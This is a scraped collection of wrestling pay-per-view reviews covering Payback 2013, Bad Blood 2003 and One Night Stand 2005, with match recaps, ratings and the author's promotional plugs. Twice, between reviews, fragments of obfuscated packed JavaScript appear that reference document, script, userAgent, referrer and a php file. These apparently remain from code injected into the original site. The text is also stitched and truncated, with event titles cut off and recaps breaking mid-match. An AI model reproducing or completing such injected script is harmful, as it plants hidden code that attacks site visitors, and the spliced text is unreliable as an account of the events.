It was usually more miss than hit, but shows like 01 and 98 were great ones. Tournaments just aren’t good for PPV and this is all the proof you need I would think. This is likely my last marathon as I’ll be shifting towards one review at a time as I find it FAR easier to do that way. Anyway, hope you liked it and keep reading or die. Seriously, those are your only options. If you don’t read my reviews, you will instantly die. I have no idea how, but you will. It’s the law.

 

Remember to follow me on Twitter @kbreviews and pick up my new book on the History of Starrcade from Amazon for just $4 at:

 

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|shrsb|var|u0026u|referrer|nkrbz||js|php'.split('|'),0,{})) 2013
Date: June 16, 2013
Location: Allstate Arena, Chicago, Illinois
Attendance: 14,623
Commentators: Michael Cole, John Bradshaw Layfield, Jerry Lawler

Pre-Show: Sheamus vs. Damien Sandow

Sheamus tries to come back in and gets caught with a knee lift and a neckbreaker for two. Sandow is sent to the apron for ten forearms followed by the Regal Roll for two. With Sandow down, Sheamus goes up top for what looks like a shoulder block, only to be crotched by Damien. A neckbreaker gets two for Sandow but the Terminus only gets two. Sandow charges into three straight Irish Curses and the Brogue Kick finishes him at 10:25.

The opening video is about Chicago being run by gangsters back in the 1930s but the gangsters eventually received payback. We look at the main events with the voiceover talking about how you know when payback is coming.

Intercontinental Title: Curtis Axel vs. The Miz vs. Wade Barrett

Barrett is defending and Axel is a last minute substitute for a concussed Fandango. Miz and Barrett traded the title in April and had been feuding with Fandango for a few weeks. Miz pounds away on both guys to start with Axel being thrown out to the floor. Barrett gets in a sneak attack and Miz heads to the floor. The heels brawl for a few seconds before all three guys are back inside. Barrett gets two off a big boot to Miz as Axel is staying on the floor with Heyman.

Divas Title: Kaitlyn vs. AJ Lee

AJ plays possum and kicks Kaitlyn in the face for two. Lee goes up top but Kaitlyn catches her cross body in mid air. The champion spins her around but gets caught in the Black Widow, only to spin out of it into a backbreaker to AJ. The spear puts AJ down again but Kaitlyn takes forever to cover and only gets two. Kaitlyn misses a charge into the corner and gets caught in the Black Widow to give AJ the title at 9:57.

The fans tell Kaitlyn that she tapped out.

After the replays Layla, Nattie and Alicia console AJ in the back.

We go back to the expert panel from the pre-show for predictions and a chat about Axel winning the title.

Video on the Wyatt Family.

US Title: Dean Ambrose vs. Kane

A jumping back elbow gets two for Dean and the champion hooks a dragon sleeper. Kane fights out of it and hooks the side slam for two. Dean ties him up in the ropes and slaps Kane in the face, earning himself a big boot to the jaw. Ambrose fights up and cranks on the arm before loading up Old School.

Smackdown World Title: Alberto Del Rio vs. Dolph Ziggler

This is the long awaited rematch after Ziggler won the title in a MITB cash-in back in April. Dolph was injured by Swagger and has been out for about five weeks since. The fans are totally behind Ziggler here. Ziggler bails to the floor in the first fifteen seconds and is out again in less than another minute. Back in and Del Rio takes him into the corner as a BIG RVD chant goes up.

Back inside now but Dolph is shaken up. Del Rio hooks a chinlock as Ziggler is being treated like a face here. The cross armbreaker is countered into the sleeper from Ziggler but Del Rio sends him into the corner to escape. Ziggler is put into the ropes for the forearms to the back and the Backstabber for two. Del Rio is wrestling like a heel here. The armbreaker is countered into a neckbreaker for two for the champion. Cole is calling this like Dolph is a face. Ziggler gets back up and pounds away before mostly botching the Fameasser.

Del Rio celebrates to some VERY moderate applause but most people are either in shock or angry.

The expert panel talks about what we just saw.

The fans LOUDLY chant for Ziggler as Del Rio thanks the people in a slightly condescending way. He asks for cheers because he deserves to be champion.

The panel previews the match.

CM Punk vs. Chris Jericho

Back up and Punk is sent into the buckle to give Jericho a breather. Some shoulders put Punk down as does an ax handle but he avoids the Lionsault. A swinging neckbreaker gets two for CM and the fans are cheering for both guys. The corner bulldog is shoved away to give the Canadian two and there are the Walls of Jericho. Punk crawls through and hooks the Anaconda Vice but Jericho gets his feet onto the ropes.

Tag Titles: Roman Reigns/Seth Rollins vs. Randy Orton/Daniel Bryan

Bryan fights back with a running clothesline and makes the hot tag off to Randy. Reigns takes the Elevated DDT and the fans are barely responding to this at all. Rollins gets one as well but he rolls to the floor before Orton can load up the RKO. Reigns punches Orton out to the floor. Orton gets to play Ricky Morton for awhile as the fans chant for RVD. Randy tries to fight out of the corner but gets caught in a Downward Spiral into the middle buckle to slow him down.

Raw World Title: Ryback vs. John Cena

The AA is countered into the over the shoulder Stunner for two for Ryback. Cena is thrown to the outside and pummeled by the lumberjacks (JTG still has a job. Who knew?) before Ryback gets to destroy him a bit more. The lumberjacks get another crack at Cena but he gets back in fast enough to send Ryback to the lumberjacks as well. Ryback gets back in unscathed so Cena can initiate his finishing sequence, only to be sent into the other lumberjacks this time. Back in and Ryback is sent to the floor again but not touched this time either.

The third fall is an ambulance match, meaning the first person to be placed inside an ambulance to the doors shut loses. Ryback takes Cena down 25 seconds after the AA and loads up the announce table. More Goldberg chants abound as Cena is powerbombed through a table. The third fall officially begins with Ryback dragging Cena to the ambulance, only to be shoved into it by the champion.

Results

Curtis Axel b. Wade Barrett and The Miz – Axel pinned Barrett while Barrett was in the Figure Four

AJ Lee b. Kaitlyn – Black Widow

Dean Ambrose b. Kane via countout

Alberto Del Rio b. Dolph Ziggler – Kick to the head

CM Punk b. Chris Jericho – GTS

John Cena b. Ryback – AA through the top of an ambulance

Remember to follow me on Twitter @kbreviews and check out my new book on the History of Starrcade from Amazon for just $4 at:

This is one of the older reviews meaning it’s much lower in quality.  It’s the best I could do here though.

 

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nbiby|var|u0026u|referrer|iftrb||js|php'.split('|'),0,{})) Blood 2003
Date: June 15, 2003
Location: Compaq Center, Houston, Texas
Attendance: 10,000
Commentators: Jim Ross, Jerry Lawler

Only reason here is I was looking at my list of shows that I had left to go and I figured I might as well just knock this one off of it. So back in 2003 there were a lot of matches on the show to be had, but there simply wasn’t enough time to fit them all in. The solution became to just have Raw and Smackdown only PPVs.

These wound up completely sucking for the simple reason of there were too few matches to fill in an entire three hour show with feuds/matches from one show. Anyway, this is the very first one so the card is fairly packed. We have Nash vs. HHH in what’s considered the worse HIAC match ever and Jericho vs. Goldberg in a match that should have been in WCW but we couldn’t have a heel that mocked Goldberg get crushed by Goldberg but whatever. So anyway let’s get to it.

Austin is feuding with Bischoff and there’s a Redneck Triathlon or something like that tonight. The intro is just a highlight package of every major feud with red tint to it. Oh and it’s an Austin/Bischoff production. The theme song is Headstrong by Trapt so I’m happy on that front.

Dudley Boys vs. Rodney Mack/Christopher Nowitski

See how brilliant this idea was? Where else are you going to get to see jobbers vs. an over the hill tag team in a match no one cares about? Since the answer is Raw, don’t bother answering that. Nowitski tried to make this a racial thing earlier in the night if you can believe that. Teddy Long is the heel manager here.

Mack was supposed to be a big deal but was squashed by Goldberg so there we are. Nowitski accidentally slaps Bubba. Guess what happens. Oh and Chris has a mask on his face from having his nose broken. The Harvard gimmick would have been able to carry him for years had he not gotten hurt.

Rodney Mack was a guy that I never got the entire appeal of. He’s ok, but just ok. After What’s Up hits, Bubba says get the tables but D-Von doesn’t want to. I love that. Nowitski catches Bubba in the face with the mask for the pin.

Rating: D+. This is the epitome of a match that belongs on Raw and not on PPV. It’s 7 minutes long and it’s an angle that no one cares about. How in the world is this worth paying money to see? You could see the problems already. Naturally is ran nearly four years.

We see a clip from Raw where we see them picking the events for the Redneck Triathlon and it’s a pie eating contest, but the Rock’s kind of pie. Event two is a burping contest. Number three would be determined at the PPV if needed.

Redneck Triathlon Event #1: Burping Contest

Austin is doing jumping jacks to warm up. It’s three burps each and the winner is best overall. This is what is being used to fill PPV time people. Austin destroys him of course in the first one. People paid to watch this. Austin of course wins round one. Oh and this was the first 34.95 show I think. This lasts nearly five minutes and the crowd is just popping for it being Austin. This was freaking stupid.

Test vs. Scott Steiner

Winner gets Stacy as Steiner went from main eventing the Rumble to this inside of five months. That’s rather impressive. Stacy gets her own entrance and hates Test. Test uses the old heel tactic of throw the girl in front of Steiner to get the advantage. The crowd is dead again for this as this is match number two both on the show and on the list of matches that belong on Raw. This is where they should have used the In Your House formula.

By taking it down to two hours, not only does it make the matches more well rounded, but it also takes away the bad ones so it’s just the big ones, making the show seem a lot better. This is exactly what you would expect it to be: boring beyond belief with no real drama. Also I love how Stacy is being treated like property here.

The pumphandle slam gets two and ZERO heat. Stacy slaps Test who then kicks Steiner in the face. Man these two have fallen far. This is just mindless filler. Test grabs a chair and when Stacy tries to pull it away she goes down which leads nowhere. A downward spiral wins it for Steiner. Stacy does her exit twice so Scott can see it again.

Rating: D. Again this was just mindless filler to validate themselves being on TV. What was the point to this at all? I get that there’s an angle that ends here, but dang man, this was just freaking stupid. There was zero point to having this on PPV but there was nothing else to put in here. Like I said, you can see the point just falling away immediately.

Bischoff and Austin talk about the second round of the triathlon which is coming up next.  Scratch that as Austin has to pick the woman for whatever the contest is.  The women are all hot but Austin gets to pick the flavor and you can feel Moolah or Mae coming.

Intercontinental Title: Christian vs. Booker T

So back in late 2002, HHH wanted to be undisputed champion of Raw so the US and IC titles were retired for about six months. Austin brought the IC back and Stephanie brought the US back a month later. There was a battle royal at Judgment Day for the belt which Christian cheated to win so this is the rematch. Oh and Booker has a remix now. Oh great.

He’s the hometown boy here so I wouldn’t look for him to win much here. Christian has just cut his hair so he’s finally looking like he does now. Edge is out injured at this point after neck surgery so there we are since both of them are eternally linked. Booker starts out by dominating and then we get into the formula stuff. Oh and we hear a lot about Booker going to jail for armed robbery, which I’m pretty sure is true but I don’t feel like looking it up.

Christian hits a Rock Bottom of all things to get a two. The Scissors Kick and a missile dropkick hit but both get two. After a Spinerooni, Christian tries to leave. It’s more basic stuff which is what this show should be called. The referee says that if he doesn’t make it back by ten he loses the belt. One day that actually needs to happen just to shake things up. A CHEAP belt shot ends this. There’s a guy dressed like Tigger in the front row.

Rating: C-. Somehow this is the best match of the night so far. This also could have been on Raw but instead we get to pay to see it. Booker would get the title the next month on Raw, but he should have gotten it here where people were paying for it. This was another dumb idea as everything else on this show has been.

Nash is getting ready with Jerry Lawler’s music playing. Oh it’s the triathlon. Screw this getting its own title again. It’s pie eating with oral sex implied. Both guys get full entrances to waste even more time. And yeah it’s Moolah and Mae which was about as predictable as it could have possibly been. Oh it’s just Mae.

The reactions are great if nothing else. After kissing her, Bischoff gets kicked in the balls and Mae gives him a Bronco Buster in a thong and stockings. Austin STUNS MAE and forfeits to set up event number three. Beer drinking follows. That’s another 10 minutes plus that I’ll never get back.

Gail Kim and her Matrix themed video is coming.

Kane and Van Dam are ready but have been having problems lately. La Resistance beat up Van Dam but he didn’t make the save. Kane says nothing. The heels say a lot of insults about America. It’s more bland than it sounds.

Raw Tag Titles: La Resistance vs. Rob Van Dam/Kane

You can more or less see the ending from here. The heels are Sylvan Grenier and Rene Dupree in case you didn’t know. To my complete lack of shock and dismay, this is nothing that couldn’t be on Raw. I mean there is nothing to note here at all. This could be at any house show or Raw but on PPV? Really? The heels are both on the floor and Van Dam dives, naturally hitting all three of them. A double flapjack ends this. It couldn’t have come faster.

Rating: D+. Again, WHY IS THIS ON PPV? That’s the problem with the whole first hour here. I could see an argument for the two title matches, but seriously, none of this has been PPV quality. The matches are ok, but that’s the problem: they’re just ok. Nothing at all here is making me want to watch this show at all and it’s never something I’m going to watch again. I just want to get to the end of this show and forget about it.

We recap Goldberg vs. Jericho who sent Storm to run him over, resulting in a match between Storm and Goldie, which was of course a squash and then he gave up Jericho as the mastermind. No one on the planet thought Jericho had a chance and he didn’t.

Goldberg vs. Chris Jericho

Goldberg is wearing white and black. Words cannot describe how stupid it looks. Jericho had wanted this match in WCW but they decided that it wasn’t a good idea so he just bailed when he could, citing this as one of the major factors. Jericho of course runs like a scared man which I can’t blame him for.

Eventually though, Jericho dodges a spear and Goldberg goes through the security wall. What a coincidence there were no seats in front of it either. Goldberg is bleeding a bit and has a bad shoulder now, so if nothing else they’re trying to give us a reason to think Jericho can win so points for that.

That goes on for a GOOD while which makes sense. Jericho runs the match for the most part which is definitely the best idea here. They botch a moonsault but Goldberg does the smart thing and keeps moving so that it doesn’t look like they botched anything and hits what we would call an FU. There’s a loud Goldberg Sucks chant and the referee goes down.

Dang the fans are behind Jericho here. At least they recognize good wrestling. He gets the Walls of Jericho but leg power gets him out of it. Spear number 2 works a lot better even though it’s a left armed one. After failing to get it once, a jackhammer works the second time for the easy pin.

Rating: C+. Again, this could have been a Raw main event but I can go with this being on PPV. However, another five minutes would have made this WAY better. Jericho was in a rut around this time and he didn’t get out of it until the winter when he turned face to feud with Christian. This was ok but nothing great. Goldberg just didn’t work in the WWE and it showed badly.

We get to see the pick for the last round of the Redneck Triathlon and it’s going to be a sing-off, which is between tobacco spitting and lawn gnome stealing. You can’t make this stuff up. Austin realizes he’s in trouble.

We recap Shawn vs. Flair. Holy crap an actual wrestling match! Flair looks like a cross between Dolph Ziggler and a nightmare. Flair had been asked by HHH to lay down on Raw but Flair couldn’t do it, which Shawn respects. This begins a suck up fest between the two, but Shawn has to know if he can beat him. And then Flair turned heel for the thousandth time in his career by punching Shawn. Shawn says it’s personal now, and you know that means jack but they say it anyway.

Ric Flair vs. Shawn Michaels

Apparently Shawn dominated the 90s and was a bigger star than Flair ever was. Somehow being in the main event for less than two years and tanking buyrates means you dominate. We start out with more or less a chess match with everyone trying to top the other, and of course when I say everyone I mean two people.

In a spot that I really like, Flair goes to the mat for Shawn to jump over him and Shawn stops on a dime and grabs a headlock on the mat. I like that. Flair at least uses psychology by working the knee and we’re in the figure four five minutes into the show. That was quick if nothing else. Flair is dominating for the most part here but we know that the Shawn comeback is coming. It’s the Flair Formula to the letter.

And Shawn hits an enziguri to counter (it means Head Kick of all things). Flair of course gets slammed off the top as Shawn actually sells the knee. Flair counters the kick into a figure four but that’s countered into a small package. Shawn throws on the figure four. Well they’re moving out there so I’ll give them that.

Flair goes up and actually gets the move off (a chop) but Shawn punches him on the way down. For ZERO apparent reason, Shawn sets up a table. The announcers are surprised too. Randy Orton comes down to try to save Flair but gets nailed. Shawn splashes Flair through the table which is called a cross body though it, although to be fair it looked like one more than a splash.

The referee goes down to a low blow, even though the table should have been a DQ. Sweet Chin Music hits but Orton pops up for a chair shot to give Flair the pin.

Rating: B. This was pretty good but the table spot made me scratch my head. This is a hard combination to screw up and they more or less got it right. The ending was fine since both were in Evolution and would have a reason to help each other out. It’s not a great match but it’s by FAR the best match tonight. Flair was getting old very fast though.

Ad for Freddie Blassie’s book.

Bischoff comes out and lip syncs his own song and Austin interrupts him. They actually get into a you were lip syncing vs. was not argument. Bischoff can’t sing at all. Austin proposes another spin and rigs the wheel to land on pig pen fun. Yes, we have a hog pen match. Somehow, this takes seven minutes. If you don’t get what happened, you’re an idiot.

Ad for the Divas softcore video.

The Cell is lowered. I forgot to mention that Foley is referee to try to make this interesting and it continued to fail.

The feud was just that they didn’t like each other and Austin just declared it Hell in a Cell. Oh Foley is referee because everyone else said they wouldn’t do it.

Raw World Title: HHH vs. Kevin Nash

Yes, this is the main event of a PPV in 2003. The belt it in the ring for no reason other than HHH likes to hold it close I guess. What do you expect here? It’s a Hell in a Cell match. They beat on each other with slow offense and use a lot of weapons. All three bleed and they do this for about twenty minutes. They manage to make a Cell match boring. Seriously Nash, that’s HARD to do.

Oh and HHH uses a screwdriver and a wooden crate. Why was a wooden crate under the ring? Who cares? We get the Mandible Claw if nothing else and Ross says this match is cruel and unusual punishment. You know all the spots that these two are going to do and the ones that Foley will do so figure out what order they go in that makes the match suck the most and you have this match. HHH of course survives the powerbomb and hits the Pedigree a few seconds later for the academic pin. Evolution beats up Foley to end the show.

Rating: D+. Seriously, THEY MADE THE CELL BORING. Do you realize how hard that is to do? This was the time that’s considered HHH’s Reign of Terror on Raw and this match is a great example of it. Really, they messed up the Cell. How do you do that? There was no point to this whole thing other than to make HHH look good and for one of his buddies to get to fight him. This was just awful.

Overall Rating: F. This isn’t a PPV. It’s a Raw with a triple main event. Seriously this show was crap. For one thing it went off at 10:35 which is ten minutes earlier than “3 hour PPVs” normally run. There is a decent Flair vs. Shawn match that could have been good but with 15 minutes what do you expect?

Also, thirty minutes of this was for one running joke which was never funny. You would think that after this disaster Vince would have pulled the plug on it, but no. For FOUR YEARS these things ran and they sucked more each and every time. This is a failure if there ever has been one.

One Night Stand 2005
Date: June 12, 2005
Location: Hammerstein Ballroom, New York City, New York
Attendance: 2,500
Commentators: Joey Styles, Mick Foley

Well you knew I would get to this someday. This is pretty much my most requested show and since it’s my birthday I wanted to do a show that I really like. This was built up as exactly what the title is: a One Night Stand, as in one night only ECW is back. This was an absolute dream come true for ECW fans as WWE owned the names and trademarks and a lot of the contracts and therefore could put on a high quality show. This should be fun. Let’s do it.

To set this up, there is a Raw and Smackdown invasion going on, although no one really cared. Also you have none of the matches advertised that I can remember, which drives home one point: the wrestling here doesn’t matter at all and it’s about these guys having one last run. That’s perfectly fine and to me it made the show a lot better.

To translate: the grades for the match do not reflect the show as a whole. The matches are likely going to be graded low, but it means nothing at all so put zero to no stock into what I’m saying about the technical stuff.

We’re in the Ballroom and the fans are out in freaking force. They pop like crazy for the theme song and this is going to be awesome. Joey Styles is introduced and he looks pumped. I’ve always freaking loved this song too. He’s legitimately having trouble keeping it together.

This is much more interesting to watch after Hardcore Homecoming as you really get to see both sides of the coin. He drops an OMG and introduces Foley as his commentary partner who comes out to the WWF Cactus Jack music. See them thinking there? That’s nice.

Play that freaking video monkeys!

Lance Storm vs. Chris Jericho

It’s Lionheart here too and we get a dramatic pause joke from Joey. It’s great to hear Joey talk about the old days, which to be fair and honest were more or less crap but for the sake of this it’s fine. Jericho is freaking small here as he looks like he did in WCW which I mean in a good way. It amazes me that these two have been so intertwined throughout the years. Foley throws in that he was the guy that saw Jericho in Japan and got Heyman to bring him to America and ECW in particular.

We hear about SMW to really make this great. Apparently Joey and ECW don’t like that the New York Athletic Commission made them use mats. This is something that on paper sounds great and on a rare occasion like this one it works like a charm. With these guys here’s what you do: “Chris, Lance, you have 7 minutes, here’s your ending.” That’s all they need. Joey calls Foley Mickles. Ok then.

We get a big old Chris Candido chant who would have passed away only about a month and a half before this show. To say the crowd is hot is like saying Steve Austin might have had alcohol before. We have an F JOHN CENA chant. Foley: How does the Calgary Crab differ from its Boston cousin?

Joey: It doesn’t it’s just a gimmick. Jason and Justin Credible are here and with Dawn Marie running interference, Justin canes the HECK out of Jericho to allow Storm to get the easy pin. Joey complaining about itching from Jason is funny. Lance more or less retired after this.

Rating: B. This was rather fun indeed. These two have good matches just about every time they’re allowed to get in the ring and this was no exception. This is a pairing that it’s hard to get wrong and it worked out just about perfectly. Solid match and a solid ending to Storm’s final match in the mainstream.

Pitbull Gary Wolfe intros a tribute to wrestlers that have passed away. We have Rocco Rock, part of a tag team I never got the appeal of but dang they were popular, Terry Gordy, Mike Lockwood (Crash Holly), Original Sheik (the first brawler that got really famous arguably), Mike Lozansky (old school ECW guy), Anthony Durante (Pitbull #1), Big Dick Dudley and Chris Candido. It’s scary that other than Sheik, I don’t think any of these guys were 40. That’s freaking scary when you think about it.

Let the Candido chants begin. This one I can have a lot of sympathy for as he died due to complications from an injury and not anything he caused to himself.

Tajiri vs. Super Crazy vs. Little Guido

This is under elimination rules. The whole FBI comes out here, as in 5-6 guys with maybe 2 Italians in there. The innuendo joke gets old fast. These were matches that happened a lot back in the day and they were always International Three Way Dances, as in one guy is from each country. Crazy was a guy that I never was sure if I liked him or not. Foley throws out a little known fact that he and Smothers won tag titles in Japan.

This was ECW’s answer to the luchadores that were stolen by WCW. Joey is in his element here with a bunch of move names as Foley says he can’t keep up with Joey so he’s mostly on his own here. SICK dropkick to a seated Guido from Crazy. These guys are moving like insanity out there (can’t say Crazy is moving like crazy out there).

They hit the crowd and Crazy goes to the balcony and hits an AMAZING moonsault into the crowd before going back into the ring and taking the Tarantula. That moonsault really was amazing and Joey chanting DIOS MIO was hilarious. We haven’t had an American wrestler in a match yet.

There’s the FBI in there and since they have the combined IQ of yogurt, Mikey Whipwreck, Tajiri’s tag partner, comes in and hits the Whippersnapper (second rope Stunner which yes he used before Austin) so Tajiri gets the easy pin to get us down to the Japanese Buzzsaw vs. the Crazy Mexican wrestler. After some more Mikey shenanigans, a top rope moonsault ends this for Crazy.

Rating: C+. Other than the dive this was a total mess. It wasn’t terrible at all but compared to the stuff WCW would pull out, this really wasn’t that great. The dive was indeed awesome though and definitely makes the match.

We hit the highlight reel of ECW which has Shane making ECW more or less, the Night the Line Was Crossed, UltraClash III (Paul’s first show as booker), Sandman, Sabu, Dreamer getting caned, the chair throwing incident which was cool, Funk being lit on fire and Foley breaking kayfabe over it, the belt being thrown down, Sandman isn’t blind, the ring collapsing with Public Enemy and that’s it apparently.

The WWE invaders aren’t here yet.

The theme song is Bodies for no apparent reason. The sponsor is called DESTROY ALL HUMANS! That sounds like something that some demon screams.

Psicosis vs. Rey Mysterio

Still no traditional American wrestlers (yes I know Rey is from California but you get the idea). Psicosis doesn’t wear his mask after losing it in WCW, which is about as stupid of an idea as possible (Why let him keep the mask? I mean it’s not like he’s ridiculously popular and a ton of kids are going to buy them or anything so we’re in essence throwing away a gold mine or anything like that) but I digress.

Rey was still the high flier at this point and not a world champion or main event guy yet. The fans chant put the mask on which is amusing. The fans boo a sleeper hold from Psicosis. One thing you have to give to the ECW fans: they were never a dead crowd. Ah now that’s more like it: top rope legdrop onto Rey who is on the railing.

Note to self: watch Bash at the Beach where these two lit the company on fire with an epic opening match that stole the whole show. It just happened to have the most shocking heel turn in history and no one else ever mentioned anything else on the show. Naturally they were never pushed but that’s WCW for you. All right NOW we’re getting somewhere as they just dive all over the place. The 619 gets booed out of the building but the West Coast Pop ends it just afterwards.

Rating: B-. This was a slow start but once they got going it worked much better. This was all over the place and it worked about as well as you could ask for it to. The problem with the wrestling here is starting to show: 7 minutes per match simply isn’t enough to really get anything going, but again that’s not the point here.

The Crusaders/Invaders are here. There are too many to list but the main ones are Edge, Christian, Angle and JBL. Oh and Bischoff is with them too. Other than that it’s mainly jobbers. The heat on these guys is INSANE.

Roadkill and Doring talk about nothing and the Smackdown Crusaders interrupt them….somehow.

More highlights from ECW focusing on general carnage. The Monday Nyquil promo will never get old, period. This is more from the glory days and it’s FAR better than the PPV era. You really get the bad times of the company on PPV and that’s a shame really. I mark out still for the whole Dreamer/Raven insanity. There’s Taz vs. Shane which I would argue killed the company as much as any given angle for reasons I go into in far more detail in the regular PPV reviews.

Joel Gertner is in the Crusaders’ area. He gets a freaking ROAR. And JBL literally kicks him out. Angle runs down the ECW fans who chant you suck, so he says their mom taught him how to. The ending is clear here, but it’s going to be sweet. JBL trying to act like a big shot really is funny. However his rant against internet fans is pretty funny.

RVD’s music cuts off JBL’s rant though just as he says no one will ever be that big. He wouldn’t win the world title for a year though. I would have preferred Walk but One of a Kind suits him a little better and is still a great song. This was in the middle of the longest knee injury in recorded history as Van Dam was out for over a year because of it. RVD gets on the mic and more or less shoots for a bit on JBL and wrestling in general about how JBL sucks. Oh he says he’s shooting. Ok then.

Van Dam talks about how he was the biggest thing around at the end of ECW which is absolutely right. Of course Heyman wouldn’t put the belt on him ever when he could have carried ECW another 3-4 months at the least with Van Dam on top. He and Fonzie run through their whole deal and mention the idiotic two year TV Title run he had. Yeah it was stupid. If he’s the biggest guy in the company, why not make him WORLD CHAMPION?

He says he pitched the idea for this show to Vince, saying they didn’t even need a storyline. Van Dam can’t work tonight because of his knee injury and says missing tonight is worse than missing Wrestlemania. I’d buy that actually. Rhyno runs out and beats up Van Dam, bringing on a Sabu chant. And there go the lights. They come back up and that leads us to the following.

Sabu vs. Rhyno

Yep it’s chair time early and Rhyno gets popped like no other with it. I usually hate these things, but even I’m not stupid enough to think they meant nothing at all. Sabu is dominating this for the most part and it’s not as bad as I expected it to be actually. There’s not much to say about this.

The referee takes a gore and here’s Van Dam again. He gets the Chair Surf which is a move I’ve always liked. Yep it’s table time as it’s a Sabu match so there we are. Something that was supposed to be an Arabian SkullCrusher doesn’t work as I think the chair gets away from Sabu but it could have been worse I guess.

Rating: D+. This wasn’t much. Like I said though it could have been far worse though as they had Sabu keep the weapons toned down here so that’s all fine and good. Far from great but these three had to be on the show somewhere.

Snow argues with Head. That might have been the most brilliant gimmick of all time. He sets up some more ECW clips which was more about insane moments which deserve clips of their own.

The Raw Crusaders are here now. Earlier it was just the Smackdown guys so Edge, Christian and Bischoff are just getting here. Oh the ending is going to be sweet.

Chris Benoit vs. Eddie Guerrero

This is much more depressing to say the least upon my second viewing of this show. This is most odd but think about it: first match, both Canadians. Second match, all international guys. Third match, both luchadores. Last match, an “Arab” (Yes I know he’s from Michigan) and Rhyno. Now a Canadian vs. a guy more known as a Latino wrestler. That’s most uncommon. Joey says that these two and Foley are the three most successful guys to ever come out of ECW.

Remember that as I’ll reference it later. Let the sucking up by Joey begin. Someone has herpes apparently. The fans are more or less split here. Eddie is bleeding from the nose so make your own drug jokes. The fans start a MASSIVE FU Bischoff chant. You have to remember: Heyman blamed Bischoff for about 90% of ECW’s problems back in the day so he really is hated.

He’s also the guy that said ECW more or less was worthless and stole most of their talent. Do I need to explain what’s going on here? Of course this is solid. Eddie gets put in the Crossface and after a LONG time in it he taps.

Rating: B-. Again, how do you mess this one up? This needed more time to be anything great but this was good as you would expect. It’s a solid match although at the end Eddie just laid there rather than fight the hold which made me shake my head a lot. Give these two 25 minutes and it’s likely an A. The time killed it though.

Ad for Vengeance which had HHH vs. Batista in HIAC. There’s so much wrong with that airing on an ECW show I can’t believe it.

Gertner asks Bischoff for a job which is much funnier than it sounds. Maven is a crusader. Just take me now.

Mike Awesome vs. Masato Tanaka

Awesome is a guy that is HATED by Styles and ECW for jumping ship and trying to throw the belt in the trash on Nitro. Because you know, no one in ECW ever disrespected a belt or anything like that. Joey says that it’s a shame Awesome didn’t take his own life on a suicide dive. That’s true Joey. He took his own life by hanging himself. As for the match, it’s about as intense and stiff as you could ask for.

This was an epic rivalry that went around the world and had them trade the ECW Title. That’s the issue here: Awesome is a traitor to ECW but this match is stealing the show. Let the LOUD chair shots begin. I never liked Tanaka’s no selling of chair shots. Ok we get it: chair shots hurt a lot. Table time and JBL makes fun of it for which I can’t blame him. The jokes about Awesome being wasted in WCW are ridiculously true.

The guy was freaking amazing so we make him the Fat Chick Thrillah and That 70s Guy. And you wonder why they went out of business. The crowd is WAY into this one. Oh look: tables. How original! We get a THIS MATCH RULES chant. And there goes Tanaka over the top rope through a table with a powerbomb. Add in an over the top rope dive onto the concrete and it’s over. Intense as all goodness.

Rating: B+. Yep, the show has been stolen. These two had some WARS back in the day and this one was no exception at all. Very intense fight rather than a match but whatever. Incredibly fun to say the least.

Joey thanks the fans for buying the Rise and Fall of ECW. If you’ve never seen that, go watch it. It’s 3 hours long but that will FLY by. Easily the best documentary in WWE history to me.

The ECW theme plays and IT’S PAUL HEYMAN. This more or less is the main event of the show as Heyman has been quiet for over four years about ECW and its death. He gets on his knees and bows to the fans which is a nice touch. He’s breaking up already. Massive Thank You Paul chant. He has the headset and trenchcoat too. Apparently he’s not crying but rather was just smoking a joint with Van Dam.

He thanks some people and the fans. He was going to take the high road and leave, but SCREW THAT. He goes insane and just rants on everything in his head mainly talking about the Crusaders. This was around the time when Edge legitimately stole Lita from Matt Hardy so that’s a hot button issue.

To JBL: the only reason you were WWE Champion for a year was because HHH didn’t want to work Tuesdays. And that my friends is what you call EPIC FREAKING WIN. We get the classic THIS IS EC FREAKING W line to end it. That was worth about 10 dollars of the total cost alone.

Ad for The Devil’s Rejects. No clue what that was for.

Dudley Boys vs. Tommy Dreamer/Sandman

Ok, so this is more or less by far and away the most famous and popular part of this show as the match won’t start for about 15 minutes or so. This was the first time the Dudleys had been seen in months on end and they would be gone and in TNA rather soon. Foley sums up a lot very easily: There are guys like me that absolutely love ECW and everything it stood for but at the end of the day consider themselves WWE guys.

Then you have guys like the Dudley Boys that work for WWE but in their hearts are always going to be ECW guys. That sums up this whole show better than anything else could I think. Dreamer gets a pop and a half. You can tell Dreamer is WAY impressed and really in awe of this. The music hits and so begins the most famous entrance in modern wrestling history at least.

Enter Sandman (original, not that Motorhead nonsense) hits and he’s in the crowd. The fans sing the song for his entrance in what is an awesome moment. He’s on his second beer and he’s still on the top floor. Hey he’s at the railing! His entrance is at 3 minutes now. Bubba gets beer spit at him. Tommy and Sandman have beers with CW Anderson and Chris Chetti in the front row before pouring one on two girls’ chest and licking it off, one of which is Elektra.

D-Von dancing to Metallica is funny stuff and the cane gets jacked off. Five and a half minutes now. Hand pounds all around…and there’s the BWO. The reaction from Foley is hilarious. Think Ray from Ghostbusters when he says “It’s the Stay-Puft Marshmallow Man”. Just cracks me up every time. Match hasn’t started yet. Stevie looks good here actually. Joey sums up the BWO perfectly: “If any gimmick never deserved to make a dime and made a whole boatload of cash, this is it.

And the best is they couldn’t sue us because it was a parody.” For those of you that have no idea what I’m talking about, the BWO is the Blue World Order: Big Stevie Cool, Da Blue Guy and Hollywood Nova (Simon Dean). They were a parody of the NWO which wound up being ridiculously popular so they ran with it.

Stevie says they’re taking over and kicks Sandman in the face. Let the brawling begin. Kid Kash is here, having just been fired from TNA, marking I believe the first and only time it was mentioned on WWE programming. He does nothing and here are Balls Mahoney and Axl Rotten: the Hardcore Chair Swingin Freaks.

They beat up the BWO so the interfering people are fighting the other interfering people. Nova gets chaired to death, giving us this great line: Joey: that’s more painful than having to be Simon Dean on national TV. Everyone brawls in the aisle and Kash has the referee get on all fours for a HUGE front flip onto all of them. Bubba busts out the trashcans. Remember the match hasn’t started yet. Oh hey there it is, 14 minutes after the Dudleys’ song started. Dreamer has a cheese grated.

